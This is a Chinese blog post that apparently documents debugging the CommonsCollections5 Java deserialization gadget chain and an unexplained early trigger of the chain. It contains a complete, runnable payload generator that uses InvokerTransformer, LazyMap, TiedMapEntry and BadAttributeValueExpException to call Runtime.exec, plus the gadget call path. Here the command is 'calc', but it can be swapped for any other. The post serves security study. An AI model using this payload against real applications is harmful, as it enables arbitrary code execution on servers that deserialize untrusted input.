java反序列化CC5奇怪现象记录#
CC5可以看作是CC6的衍生,主要是TiedMapEntry.getValue()方法调用上,CC5存在独特的一条链
首先贴出payload
package commonscollections3;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class CC5 {
public static Object generatePayload() throws Exception {
ChainedTransformer Transformerchain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,Transformerchain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
return poc;
}
public static void main(String[] args) throws Exception {
payload2File(generatePayload(),"obj");
payloadTest("obj");
}
public static void payload2File(Object instance, String file)
throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}利用链
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
TiedMapEntry.getValue()
...CC1这段是BadAttributeValueExpException.readObject()的代码
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}这里需要将valObj赋值为TiedMapEntry,这样才能调用toString(),而valObj是通过反序列化后的对象中拿到属性名为val的值,所以CC5的payload中通过反射将val字段设置成了TiedMapEntry。
所以原本CC5的逻辑是在val = valObj.toString();这里调用TiedMapEntry.toString()对吧,但是我在调试的过程中发现并不是这样的。
当我调试断点打在else if (System.getSecurityManager() == null这里时,调试的确走到了这里,按照CC5的逻辑,此时TiedMapEntry.toString()方法并没有调用,那么后续的利用链也不会触发,但诡异的是,计算器此时已经弹了出来。也就是说利用链在valObj.toString()之前就已经触发了。
经过我的调试,我发现在这一步Object valObj = gf.get(“val”, null);进入断点时,利用链还未触发,而点击step over后,计算器弹了出来。那么是这里的get方法内部有toString方法触发了利用链吗?
经过step into调试发现也没有toString方法,那为什么会触发利用链?grok3的解释之一是idea的一个debugger选项的问题,Enable ‘toString()’ object view这个选项在调试代码时会意外触发toString方法,但在关闭选项后仍然提前触发了。
还有两个解释是JVM内部在反序列化的过程中调用了toString方法或者是jdk版本原因。我使用jdk8u191也是提前执行了,所以具体是哪个问题也不得而知。